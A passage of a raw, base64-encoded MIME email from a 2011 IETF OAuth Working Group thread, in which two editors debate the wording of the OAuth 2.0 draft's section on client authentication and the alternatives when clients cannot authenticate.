ZmVyIHRvIHRoZSBzZWN1cml0eSBkb2MgZm9yIGV4YW1wbGVzDQo+IGFuZCBhZGRpdGlvbmFsIGV4 cGxhbmF0aW9ucy4gVGhhdCdzIHdoYXQgdGhpcyBkb2N1bWVudCBpcyBpbnRlbmRlZCBmb3IsIHRv DQo+IHByb3ZpZGUgYmFja2dyb3VuZCBiZXlvbmQgd2hhdCB3ZSBjYW4gY292ZXIgaW4gdGhlIGNv cmUgc3BlYy4NCj4NCj4gQW5kIEkgZG9uJ3QgdGhpbmsgdGhlIHNwZWMgYWxyZWFkeSBtYWtlcyB0 aGF0IHBvaW50LiBCdXQgeW91IGFyZSBmcmVlIHRvIHJlZmVyDQo+IG1lIHRvIHRoZSByZXNwZWN0 aXZlIHRleHQuDQo+DQo+IHJlZ2FyZHMsDQo+IFRvcnN0ZW4uDQo+DQo+DQo+DQo+IEVyYW4gSGFt bWVyLUxhaGF2IDxlcmFuQGh1ZW5pdmVyc2UuY29tPG1haWx0bzplcmFuQGh1ZW5pdmVyc2UuY29t Pj4gc2NocmllYjoNCj4NCj4gPkkgc3RpbGwgZG9u4oCZdCBmaW5kIGl0IHVzZWZ1bC4gSSB0aGlu ayB0aGUgZXhpc3RpbmcgdGV4dCBvdmVyYWxsIG1ha2VzDQo+ID50aGlzIHBvaW50IGFscmVhZHku DQo+ID4NCj4gPkVITA0KPiA+DQo+ID5Gcm9tOiBUb3JzdGVuIExvZGRlcnN0ZWR0IFttYWlsdG86 dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXRdPG1haWx0bzpbbWFpbHRvOnRvcnN0ZW5AbG9kZGVyc3Rl ZHQubmV0XT4NCj4gPlNlbnQ6IFdlZG5lc2RheSwgSnVseSAwNiwgMjAxMSAxMjo0OCBBTQ0KPiA+ VG86IEVyYW4gSGFtbWVyLUxhaGF2OyBPQXV0aCBXRw0KPiA+U3ViamVjdDogUmU6IFNlY3Rpb24g MTAuMSAoQ2xpZW50IGF1dGhlbnRpY2F0aW9uKQ0KPiA+DQo+ID5IaSBFcmFuLA0KPiA+DQo+ID5J IHdvdWxkDQoNCnN1Z2dlc3QgdG8gY2hhbmdlIGl0IHRvIFNIT1VMRCBhbmQgYWRkIGEgcmVmZXJl bmNlIHRvDQo+ID5odHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvZHJhZnQtaWV0Zi1vYXV0aC12 Mi10aHJlYXRtb2RlbC0wMCBzZWN0aW9ucw0KPiA+My43IGFuZCA1LjIuMy4NCj4gPg0KPiA+cmVn YXJkcywNCj4gPlRvcnN0ZW4uDQo+ID4NCj4gPg0KPiA+RXJhbiBIYW1tZXItTGFoYXYNCj4gPGVy YW5AaHVlbml2ZXJzZS5jb208bWFpbHRvOmVyYW5AaHVlbml2ZXJzZS5jb208bWFpbHRvOmVyYW5A aHVlbml2ZXJzZS5jb20lM2NtYWlsdG86ZXJhbkBodWVuaXZlcnNlLmNvbT4+Pg0KPiA+c2Nocmll YjoNCj4gPkl0J3MgYSBwb2ludGxlc3MgTVVTVCBnaXZlbiBob3cgdW5kZWZpbmVkIHRoZSByZXF1 aXJlbWVudHMgYXJlLiBJdCB3aWxsDQo+ID5vbmx5IGJlIHVuZGVyc3Rvb2QgYnkgc2VjdXJpdHkg ZXhwZXJ0cyBhbmQgdGhleSBkb24ndCByZWFsbHkgbmVlZCBpdC4NCj4gPkF0IGEgbWluaW11bSwg aXQgbmVlZHMgc29tZSBleGFtcGxlcy4NCj4gPg0KPiA+RUhMDQo+ID4NCj4gPkZyb206IFRvcnN0 ZW4gTG9kZGVyc3RlZHQNCj4gPjx0b3JzdGVuQGxvZGRlcnN0ZWR0Lm5ldDxtYWlsdG86dG9yc3Rl bkBsb2RkZXJzdGVkdC5uZXQ8bWFpbHRvOnRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0JTNjbWFpbHRv OnRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0Pj4+DQo+ID5EYXRlOiBXZWQsIDEgSnVuIDIwMTEgMDA6 NTM6MzcgLTA3MDANCj4gPlRvOiBFcmFuIEhhbW1lci1sYWhhdg0KPg0KDQo+PGVyYW5AaHVlbml2 ZXJzZS5jb208bWFpbHRvOmVyYW5AaHVlbml2ZXJzZS5jb208bWFpbHRvOmVyYW5AaHVlbml2ZXJz ZS5jb20lM2NtYWlsdG86ZXJhbkBodWVuaXZlcnNlLmNvbT4+PiwgT0F1dGggV0cNCj4gPjxvYXV0 aEBpZXRmLm9yZzxtYWlsdG86b2F1dGhAaWV0Zi5vcmc8bWFpbHRvOm9hdXRoQGlldGYub3JnJTNj bWFpbHRvOm9hdXRoQGlldGYub3JnPj4+DQo+ID5TdWJqZWN0OiBTZWN0aW9uIDEwLjEgKENsaWVu dCBhdXRoZW50aWNhdGlvbikNCj4gPg0KPiA+SGkgRXJhbiwNCj4gPg0KPiA+d291bGQgeW91IHBs ZWFzZSBhZGQgdGhlIGZvbGxvd2luZyBzZW50ZW5jZSAod2hpY2ggd2FzIGNvbnRhaW5lZCBpbiB0 aGUNCj4gPm9yaWdpbmFsIHNlY3VyaXR5IGNvbnNpZGVyYXRpb25zIHRleHQpIHRvIHRoZSBzZWNv bmQgcGFyYWdyYXBoIG9mDQo+ID5zZWN0aW9uIDEuMC4xPw0KPiA+DQo+ID5BbHRlcm5hdGl2ZWx5 LCBhdXRob3JpemF0aW9uIHNlcnZlcnMgTVVTVCB1dGlsaXplDQo+ID4gICAgb3RoZXIgbWVhbnMg dGhhbiBjbGllbnQgYXV0aGVudGljYXRpb24gdG8gYWNoaWV2ZSB0aGVpciBzZWN1cml0eQ0KPiA+ ICAgIG9iamVjdGl2ZXMuDQo+ID4NCj4gPg0KPiA+SSB0aGluayBpdCdzIGltcG9ydGFudCB0byBz dGF0ZSB0aGF0IGF1dGhvcml6YXRpb24gc2VydmVyIHNob3VsZA0KPiA+Y29uc2lkZXIgYWx0ZXJu YXRpdmUgd2F5IHRvIHZhbGlkYXRlIHRoZSBjbGllbnQgaWRlbnRpdHkgaWYgc2VjcmV0cw0KPiA+ Y2Fubm90IGJlIHVzZWQuIFRoZSBzZWN1cml0eSB0aHJlYXQgZG9jdW1lbnQgYWxzbyBzdWdnZXN0 IHNvbWUuDQo+ID4NCj4gPnJlZ2FyZHMsDQo+ID5Ub3JzdGVuLg0K --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B3P3PW5EX1MB01E_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVy bjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6dz0idXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIgeG1sbnM6bT0iaHR0cDovL3NjaGVtYXMubWlj cm9zb2Z0LmNvbS9vZmZpY2UvMjAwNC8xMi9vbW1sIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv VFIvUkVDLWh0bWw0MCI+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu dD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij48bWV0YSBuYW1lPUdlbmVyYXRvciBjb250ZW50 PSJNaWNyb3NvZnQgV29yZCAxNCAoZmlsdGVyZWQgbWVkaXVtKSI+PHN0eWxlPjwhLS0NCi8qIEZv bnQgRGVmaW5pdGlvbnMgKi8NCkBmb250LWZhY2UNCgl7Zm9udC1mYW1pbHk6IkNhbWJyaWEgTWF0 aCI7DQoJcGFub3NlLTE6MiA0IDUgMyA1IDQgNiAzIDIgNDt9DQpAZm9udC1mYWNlDQoJe2ZvbnQt ZmFtaWx5OkNhbGlicmk7DQoJcGFub3NlLTE6MiAxNSA1IDIgMiAyIDQgMyAyIDQ7fQ0KQGZvbnQt ZmFjZQ0KCXtmb250LWZhbWlseTpUYWhvbWE7DQoJcGFub3NlLTE6MiAxMSA2IDQgMyA1IDQgNCAy IDQ7fQ0KQGZvbnQtZmFjZQ0KCXtmb250LWZhbWlseTpDb25zb2xhczsNCglwYW5vc2UtMToyIDEx IDYgOSAyIDIgNCAzIDIgNDt9DQovKiBTdHlsZSBEZWZpbml0aW9ucyAqLw0KcC5Nc29Ob3JtYWws IGxpLk1zb05vcm1hbCwgZGl2Lk1zb05vcm1hbA0KCXttYXJnaW46MGluOw0KCW1hcmdpbi1ib3R0 b206LjAwMDFwdDsNCglmb250LXNpemU6MTIuMHB0Ow0KCWZvbnQtZmFtaWx5OiJUaW1lcyBOZXcg Um9tYW4iLCJzZXJpZiI7fQ0KYTpsaW5rLCBzcGFuLk1zb0h5cGVybGluaw0KCXttc28tc3R5bGUt cHJpb3JpdHk6OTk7DQoJY29sb3I6Ymx1ZTsNCgl0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30N CmE6dmlzaXRlZCwgc3Bhbi5Nc29IeXBlcmxpbmtGb2xsb3dlZA0KCXttc28tc3R5bGUtcHJpb3Jp dHk6OTk7DQoJY29sb3I6cHVycGxlOw0KCXRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KcHJl DQoJe21zby1zdHlsZS1wcmlvcml0eTo5OTsNCgltc28tc3R5bGUtbGluazoiSFRNTCBQcmVmb3Jt YXR0ZWQgQ2hhciI7DQoJbWFyZ2luOjBpbjsNCgltYXJnaW4tYm90dG9tOi4wMDAxcHQ7DQoJZm9u dC1zaXplOjEwLjBwdDsNCglmb250LWZhbWlseToiQ291cmllciBOZXciO30NCnNwYW4uSFRNTFBy ZWZvcm1hdHRlZENoYXINCgl7bXNvLXN0eWxlLW5hbWU6IkhUTUwgUHJlZm9ybWF0dGVkIENoYXIi Ow0KCW1zby1zdHlsZS1wcmlvcml0eTo5OTsNCgltc28tc3R5bGUtbGluazoiSFRNTCBQcmVmb3Jt YXR0ZWQiOw0KCWZvbnQtZmFtaWx5OkNvbnNvbGFzO30NCnNwYW4uRW1haWxTdHlsZTE5DQoJe21z by1zdHlsZS10eXBlOnBlcnNvbmFsLXJlcGx5Ow0KCWZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fu cy1zZXJpZiI7DQoJY29sb3I6IzFGNDk3RDt9DQouTXNvQ2hwRGVmYXVsdA0KCXttc28tc3R5bGUt dHlwZTpleHBvcnQtb25seTsNCglmb250LXNpemU6MTAuMHB0O30NCkBwYWdlIFdvcmRTZWN0aW9u MQ0KCXtzaXplOjguNWluIDExLjBpbjsNCgltYXJnaW46MS4waW4gMS4waW4gMS4waW4gMS4waW47 fQ0KZGl2LldvcmRTZWN0aW9uMQ0KCXtwYWdlOldvcmRTZWN0aW9uMTt9DQotLT48L3N0eWxlPjwh LS1baWYgZ3RlIG1zbyA5XT48eG1sPg0KPG86c2hhcGVkZWZhdWx0cyB2OmV4dD0iZWRpdCIgc3Bp ZG1heD0iMTAyNiIgLz4NCjwveG1sPjwhW2VuZGlmXS0tPjwhLS1baWYgZ3RlIG1zbyA5XT48eG1s Pg0KPG86c2hhcGVsYXlvdXQgdjpleHQ9ImVkaXQiPg0KPG86aWRtYXAgdjpleHQ9ImVkaXQiIGRh dGE9IjEiIC8+DQo8L286c2hhcGVsYXlvdXQ+PC94bWw+PCFbZW5kaWZdLS0+PC9oZWFkPjxib2R5 IGxhbmc9RU4tVVMgbGluaz1ibHVlIHZsaW5rPXB1cnBsZT48ZGl2IGNsYXNzPVdvcmRTZWN0aW9u MT48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMS4wcHQ7Zm9udC1m YW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjojMUY0OTdEJz5Ib3cgYWJvdXQsIGFk ZCB0aGlzIHRvIDEwLjE6PG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPU1zb05vcm1hbD48 c3BhbiBzdHlsZT0nZm9udC1zaXplOjExLjBwdDtmb250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMt c2VyaWYiO2NvbG9yOiMxRjQ5N0QnPjxvOnA+Jm5ic3A7PC9vOnA+PC9zcGFuPjwvcD48cCBjbGFz cz1Nc29Ob3JtYWwgc3R5bGU9J3RleHQtYXV0b3NwYWNlOm5vbmUnPjxzcGFuIHN0eWxlPSdmb250 LXNpemU6OS41cHQ7Zm9udC1mYW1pbHk6Q29uc29sYXMnPsKgwqDCoMKgwqDCoMKgwqDCoCBXaGVu IGNsaWVudCBhdXRoZW50aWNhdGlvbiBpcyBub3QgcG9zc2libGUsIHRoZSBhdXRob3JpemF0aW9u IHNlcnZlciBTSE9VTEQgZW1wbG95IG90aGVyPG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNz PU1zb05vcm1hbCBzdHlsZT0ndGV4dC1hdXRvc3BhY2U6bm9uZSc+PHNwYW4gc3R5bGU9J2ZvbnQt c2l6ZTo5LjVwdDtmb250LWZhbWlseTpDb25zb2xhcyc+wqDCoMKgwqDCoMKgwqDCoMKgIG1lYW5z IHRvIHZhbGlkYXRlIHRoZSBjbGllbnQncyBpZGVudGl0eS4gRm9yIGV4YW1wbGUsIGJ5IHJlcXVp cmluZyB0aGUgcmVnaXN0cmF0aW9uIG9mPG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPU1z b05vcm1hbCBzdHlsZT0ndGV4dC1hdXRvc3BhY2U6bm9uZSc+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6 ZTo5LjVwdDtmb250LWZhbWlseTpDb25zb2xhcyc+wqDCoMKgwqDCoMKgwqDCoMKgIHRoZSBjbGll bnQgcmVkaXJlY3Rpb24gVVJJIG9yIGVubGlzdGluZyB0aGUgcmVzb3VyY2Ugb3duZXIgdG8gY29u ZmlybSBpZGVudGl0eS4gVGhlPG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPU1zb05vcm1h bCBzdHlsZT0ndGV4dC1hdXRvc3BhY2U6bm9uZSc+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZTo5LjVw dDtmb250LWZhbWlseTpDb25zb2xhcyc+wqDCoMKgwqDCoMKgwqDCoMKgIGF1dGhvcml6YXRpb24g c2VydmVyIG11c3QgY29uc2lkZXIgdGhlIHNlY3VyaXR5IGltcGxpY2F0aW9ucyBvZiBpbnRlcmFj dGluZyB3aXRoPG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0n dGV4dC1hdXRvc3BhY2U6bm9uZSc+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZTo5LjVwdDtmb250LWZh bWlseTpDb25zb2xhcyc+wqDCoMKgwqDCoMKgwqDCoMKgIHVuYXV0aGVudGljYXRlZCBjbGllbnRz IGFuZCB0YWtlIG1lYXN1cmVzIHRvIGxpbWl0IHRoZSBwb3RlbnRpYWwgZXhwb3N1cmUgb2Ygb3Ro ZXI8bzpwPjwvbzpwPjwvc3Bhbj48L3A+PHAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSd0ZXh0LWF1 dG9zcGFjZTpub25lJz48c3BhbiBzdHlsZT0nZm9udC1zaXplOjkuNXB0O2ZvbnQtZmFtaWx5OkNv bnNvbGFzJz7CoMKgwqDCoMKgwqDCoMKgwqAgY3JlZGVudGlhbHMgKGUuZy4gcmVmcmVzaCB0b2tl bnMpIGlzc3VlZCB0byBzdWNoIGNsaWVudHMuPG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNz PU1zb05vcm1hbCBzdHlsZT0ndGV4dC1hdXRvc3BhY2U6bm9uZSc+PHNwYW4gc3R5bGU9J2ZvbnQt c2l6ZTo5LjVwdDtmb250LWZhbWlseTpDb25zb2xhcyc+PG86cD4mbmJzcDs8L286cD48L3NwYW4+ PC9wPjxwIGNsYXNzPU1zb05vcm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjExLjBwdDtmb250 LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiO2NvbG9yOiMxRjQ5N0QnPjxvOnA+Jm5ic3A7 PC9vOnA+PC9zcGFuPjwvcD48cCBjbGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6 ZToxMS4wcHQ7Zm9udC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjojMUY0OTdE Jz5FSEw8bzpwPjwvbzpwPjwvc3Bhbj48L3A+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0eWxl PSdmb250LXNpemU6MTEuMHB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7Y29s b3I6IzFGNDk3RCc+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPjxkaXYgc3R5bGU9J2JvcmRl cjpub25lO2JvcmRlci1sZWZ0OnNvbGlkIGJsdWUgMS41cHQ7cGFkZGluZzowaW4gMGluIDBpbiA0 LjBwdCc+PGRpdj48ZGl2IHN0eWxlPSdib3JkZXI6bm9uZTtib3JkZXItdG9wOnNvbGlkICNCNUM0 REYgMS4wcHQ7cGFkZGluZzozLjBwdCAwaW4gMGluIDBpbic+PHAgY2xhc3M9TXNvTm9ybWFsPjxi PjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiJUYWhvbWEiLCJzYW5z LXNlcmlmIic+RnJvbTo8L3NwYW4+PC9iPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuMHB0O2Zv bnQtZmFtaWx5OiJUYWhvbWEiLCJzYW5zLXNlcmlmIic+IFRvcnN0ZW4gTG9kZGVyc3RlZHQgW21h aWx0bzp0b3JzdGVuQGxvZGRlcnN0ZWR0Lm5ldF0gPGJyPjxiPlNlbnQ6PC9iPiBTdW5kYXksIEp1 bHkgMTAsIDIwMTEgMTo1OSBBTTxicj48Yj5Ubzo8L2I+IEVyYW4gSGFtbWVyLUxhaGF2OyBPQXV0 aCBXRzxicj48Yj5TdWJqZWN0OjwvYj4gUkU6IFNlY3Rpb24gMTAuMSAoQ2xpZW50IGF1dGhlbnRp Y2F0aW9uKTxvOnA+PC9vOnA+PC9zcGFuPjwvcD48L2Rpdj48L2Rpdj48cCBjbGFzcz1Nc29Ob3Jt YWw+PG86cD4mbmJzcDs8L286cD48L3A+PHAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSdtYXJnaW4t Ym90dG9tOjEyLjBwdCc+SGksPGJyPjxicj5JIGp1c3QgcmVtZW1iZXJlZCB0aGUgb3JpZ2luYWwg YWltIG9mIHRoZSB0ZXh0LiBXZSBub3QganVzdCBpbnRlbmRlZCB0byBsaXN0IGFsdGVybmF0aXZl IG1lYW5zIGJ1dCB0byBnZXQgYSBnZW5lcmFsIG1lc3NhZ2UgYWNyb3NzOiBJZiB5b3UgY2Fubm90 IGF1dGhlbnRpY2F0ZSBhIGNsaWVudCBjb25zaWRlcnMgdGhpcyBpbiB5b3VyIHNlY3VyaXR5IGRl c2lnbiEgRWl0aGVyICgxKSB5b3UgYWNjZXB0IHRoZSBmYWN0IHRoZSByZXNwZWN0aXZlIGlkZW50 aXRpZXMgY2FuIGJlIGZvcmdlZCBhbmQgaGFuZGxlIHRoZW0gYXMgdW50cnVzdGVkIGVudGl0aWVz IHRocm91Z2ggeW91ciBsb2dpYyAoYXMgZmFyIGFzIEkgcmVtZW1iZXIgU2t5bGFyIHN1Z2dlc3Rl ZCB0aGUgdGVybSBmb3JnZWFibGUgY2xpZW50cykgb3IgKDIpIHlvdSBmaW5kIG90aGVyIHdheXMg dG8gZXN0YWJsaXNoIHRydXN0IGluIHRoZSBjbGllbnQncyBpZGVudGl0eS4gPGJyPjxicj5UaGUg ZWZmZWN0IG9mICgxKSBkZXBlbmRzIG9uIHRoZSBzZWN1cml0eSBwb2xpY3kgb2YgdGhlIGNlcnRh aW4gZGVwbG95bWVudCBhbmQgdGhlIHJpc2sgYXNzb2NpYXRlZCB3aXRoIGNlcnRhaW4gZnVuY3Rp b25zLiBJdCBjb3VsZCBlLmcuIG1lYW4gdG8gcmVseSBvbiB0aGUgaWQgdG8gYWdncmVnYXRlIGxv ZyBlbnRyaWVzIChub3QgY3JpdGljYWwpIGJ1dCBuZXZlciB0byBhdXRvbWF0aWNhbGx5IHByb2Nl c3MgYXV0aHogcHJvY2Vzc2VzIG9yIHNldHRsZSBwYXltZW50IHRyYW5zYWN0aW9uLjxicj48YnI+ RXhhbXBsZXMgZm9yICgyKSBhcmU6IHJlZGlyZWN0IHVyaSB2YWxpZGF0aW9uLCByZWx5aW5nIG9u IHRoZSB1c2VyIHRvIGlkZW50aWZ5IHRoZSBjbGllbnQsIGFuZCAoc3Vic2VxdWVudGx5KSB1c2Ug cmVmcmVzaCB0b2tlbnMgYXMgbWVhbiBmb3IgY2xpZW50IGF1dGhlbnRpY2F0aW9uLiBJIGRvbid0 IHRoaW5rIHdlIGNhbiBnaXZlIGEgY29tcGxldGUgbGlzdCBvZiBtZWFucyBoZXJlIHNpbmNlIEkg YXNzdW1lIHNvbWUgZGVwbG95bWVudHMgd2lsbCBoYXZlIHRoZWlyIG93biBjYXBhYmlsaXRpZXMu PGJyPjxicj5QbGVhc2UgYWxzbyBub3RlOiByZWRpcmVjdCB1cmkgdmFsaWRhdGlvbiBpcyBub3Qg YW4gYWRlcXVhdGUgcmVwbGFjZW1lbnQgZm9yIGNsaWVudCBhdXRoZW50aWNhdGlvbi4gSXQncyBu b3QgZWZmZWN0aXZlIGZvciBuYXRpdmUgYXBwcyBhbmQgdXNlbGVzcyBpZiB0aGUgYXR0YWNrZXIg dXNlcyBhIG5hdGl2ZSBhcHAgKG5vIG1hdHRlciB3aGV0aGVyIHRoZSBsZWdpdGltYXRlIGNsaWVu dCBpcyBhIHdlYiwgdXNlciBhZ2VudCBiYXNlZCBvciBuYXRpdmUgYXBwKS48YnI+PGJyPnJlZ2Fy ZHMsPGJyPlRvcnN0ZW4uPG86cD48L286cD48L3A+PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWw+PGJy Pjxicj5FcmFuIEhhbW1lci1MYWhhdiAmbHQ7PGEgaHJlZj0ibWFpbHRvOmVyYW5AaHVlbml2ZXJz ZS5jb20iPmVyYW5AaHVlbml2ZXJzZS5jb208L2E+Jmd0OyBzY2hyaWViOjxvOnA+PC9vOnA+PC9w PjxwcmUgc3R5bGU9J3doaXRlLXNwYWNlOnByZS13cmFwO3dvcmQtd3JhcDpicmVhay13b3JkJz48 c3BhbiBzdHlsZT0nZm9udC1mYW1pbHk6IkFyaWFsIiwic2Fucy1zZXJpZiInPkhleSBUb3JzdGVu LDxicj48YnI+VGhlIHByb3ZpZGVkIHRleHQgYW5kIGFsdGVybmF0aXZlIHRleHQgYXJlIGp1c3Qg bm90IGhlbHBmdWwuIElmIEkgYW0gdW5hYmxlIHRvIHVuZGVyc3RhbmQgaXQsIEkgaGF2ZSBkb3Vi dCBvdGhlciByZWFkZXJzIHdpbGwgYmUgYWJsZSB0by48YnI+PGJyPkkgZG9uJ3Qga25vdyB3aGF0 IHlvdSBtZWFuIGJ5ICdvdGhlciBtZWFucycgd2hpY2ggYXJlIG5vdCBhbHJlYWR5IGRlc2NyaWJl ZCBpbiB0aGUgZG9jdW1lbnQgKGJhc2VkIG9uIC0xNykuIFJlZmVyZW5jaW5nIHRoZSBzZWN1cml0 eSB0aHJlYWQgbW9kZWwgZG9jdW1lbnQgaW4gYSBub3JtYXRpdmUgcmVmZXJlbmNlIHJlcXVpcmVz IG1ha2luZyBpdCBhIG5vcm1hdGl2ZSByZWZlcmVuY2Ugd2hpY2ggSSBhbSBvcHBvc2VkIHRvIGRv aW5nIC0gdGhlIHYyIGRvY3VtZW50IHNob3VsZCBpbmNsdWRlIGV2ZXJ5dGhpbmcgbmVlZGVkIHRv IGltcGxlbWVudCB0aGUgcHJvdG9jb2wgd2l0aG91dCBhbnkgYWRkaXRpb25hbCBzcGVjaWZpY2F0 aW9ucyAoZm9yIHRoZSBjb3JlIGZ1bmN0aW9uYWxpdHkpLjxicj48YnI+V2hlbiBJIHdhcyBhc2tp bmcgZm9yIGV4YW1wbGVzLCBJIHdhcyBob3BpbmcgZm9yIHNvbWV0aGluZyBsaWtlICdmb3IgZXhh bXBsZSwgdXNlIHgsIHksIG9yIHonLCBub3QgYSByZWZlcmVuY2UgdG8gYWJvdXQgMTAgcGFnZXMg b2YgdGV4dCAod2hpY2ggYnkgaXRzZWxmIGlzIHByZXR0eSBjb25mdXNpbmcsIGJ1dCB0aGF0J3Mg YSBkaWZmZXJlbnQgaXNzdWUgLSBJIGhvcGUgdG8gZmluZCB0aGUgdGltZSB0byBwcm92aWRlIGRl dGFpbGVkIGZlZWRiYWNrIGZvciB0aGF0IGRvY3VtZW50KS48YnI+PGJyPkkgdGhpbmsgdGhlIGN1 cnJlbnQgZG9jdW1lbnQgbWFrZXMgYSBwcmV0dHk8bzpwPjwvbzpwPjwvc3Bhbj48L3ByZT48cHJl PjxzcGFuIHN0eWxlPSdmb250LWZhbWlseToiQXJpYWwiLCJzYW5zLXNlcmlmIic+Z29vZCBjYXNl IGZvciB1c2luZyB0aGUgcmVkaXJlY3Rpb24gVVJJIGFzIGEgZm9ybSBvZiBjbGllbnQgdmFsaWRh dGlvbiwgYW5kIGNsZWFybHkgbGF5cyBvdXQgdGhlIGRpZmZlcmVuY2VzIGJldHdlZW4gYSBwdWJs aWMgYW5kIHByaXZhdGUgY2xpZW50LiBJdCBoYXMgbmV3IHJlcXVpcmVtZW50cyBmb3IgdGhlIHJl Z2lzdHJhdGlvbiBvZiByZWRpcmVjdGlvbiBVUklzIHdoZW4gY2xpZW50IGF1dGhlbnRpY2F0aW9u IGlzIG5vdCBwb3NzaWJsZS48YnI+PGJyPklmIHRoZXJlIGFyZSBzcGVjaWZpYyB0aGluZ3MgdGhl IGF1dGhvcml6YXRpb24gc2VydmVyIGNhbiBkbyB0byBpbXByb3ZlIHNlY3VyaXR5IGJleW9uZCBj bGllbnQgYXV0aGVudGljYXRpb24sIHdlIHNob3VsZCBsaXN0IHRoZW0gZXhwbGljaXRseSBpbiB0 aGUgZG9jdW1lbnQuPGJyPjxicj5DYW4geW91IGxpc3QgZXhhY3RseSB3aGF0IHlvdSBoYXZlIGlu IG1pbmQgYnkgJ290aGVyIG1lYW5zJz8gSnVzdCB0aGUgYnVsbGV0IHBvaW50cyB3aWxsIGJlIGVu b3VnaC48YnI+PGJyPkVITDxicj48YnI+PGJyPiZndDsgLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0t LS08YnI+Jmd0OyBGcm9tOiBUb3JzdGVuIExvZGRlcnN0ZWR0IDxhIGhyZWY9Im1haWx0bzpbbWFp bHRvOnRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0XSI+W21haWx0bzp0b3JzdGVuQGxvZGRlcnN0ZWR0 Lm5ldF08L2E+PGJyPiZndDsgU2VudDogRnJpZGF5LCBKdWx5IDA4LCAyMDExIDEyOjU5IEFNPGJy PiZndDsgVG86IEVyYW4gSGFtbWVyLUxhaGF2OyBPQXV0aCBXRzxicj4mZ3Q7IFN1YmplY3Q6IFJF OiBTZWN0aW9uIDEwLjEgKENsaWVudCBhdXRoZW50aWNhdGlvbik8YnI+Jmd0OyA8YnI+Jmd0OyBz ZWVtcyB5b3UgYXJlIGNvbnRyYWRpY3RpbmcgeW91cnNlbGYuPGJyPiZndDsgPGJyPiZndDsgWW91 IGNyaXRpY2lzZWQgdGhlIE1VU1QgYW5kIHN1Z2dlc3RlZCB0byBpbmNsdWRlIHNvbWUgZXhhbXBs ZXMuIEkgYm91Z2h0PGJyPiZndDsgaW50byB5b3VyPG86cD48L286cD48L3NwYW4+PC9wcmU+PHBy ZT48c3BhbiBzdHlsZT0nZm9udC1mYW1pbHk6IkFyaWFsIiwic2Fucy1zZXJpZiInPmFyZ3VtZW50 IGFuZCBzdWdnZXN0ZWQgdG8gcmVmZXIgdG8gdGhlIHNlY3VyaXR5IGRvYyBmb3IgZXhhbXBsZXM8 YnI+Jmd0OyBhbmQgYWRkaXRpb25hbCBleHBsYW5hdGlvbnMuIFRoYXQncyB3aGF0IHRoaXMgZG9j dW1lbnQgaXMgaW50ZW5kZWQgZm9yLCB0bzxicj4mZ3Q7IHByb3ZpZGUgYmFja2dyb3VuZCBiZXlv bmQgd2hhdCB3ZSBjYW4gY292ZXIgaW4gdGhlIGNvcmUgc3BlYy48YnI+Jmd0OyA8YnI+Jmd0OyBB bmQgSSBkb24ndCB0aGluayB0aGUgc3BlYyBhbHJlYWR5IG1ha2VzIHRoYXQgcG9pbnQuIEJ1dCB5 b3UgYXJlIGZyZWUgdG8gcmVmZXI8YnI+Jmd0OyBtZSB0byB0aGUgcmVzcGVjdGl2ZSB0ZXh0Ljxi cj4mZ3Q7IDxicj4mZ3Q7IHJlZ2FyZHMsPGJyPiZndDsgVG9yc3Rlbi48YnI+Jmd0OyA8YnI+Jmd0 OyA8YnI+Jmd0OyA8YnI+Jmd0OyBFcmFuIEhhbW1lci1MYWhhdiAmbHQ7PGEgaHJlZj0ibWFpbHRv OmVyYW5AaHVlbml2ZXJzZS5jb20iPmVyYW5AaHVlbml2ZXJzZS5jb208L2E+Jmd0OyBzY2hyaWVi Ojxicj4mZ3Q7IDxicj4mZ3Q7ICZndDtJIHN0aWxsIGRvbuKAmXQgZmluZCBpdCB1c2VmdWwuIEkg 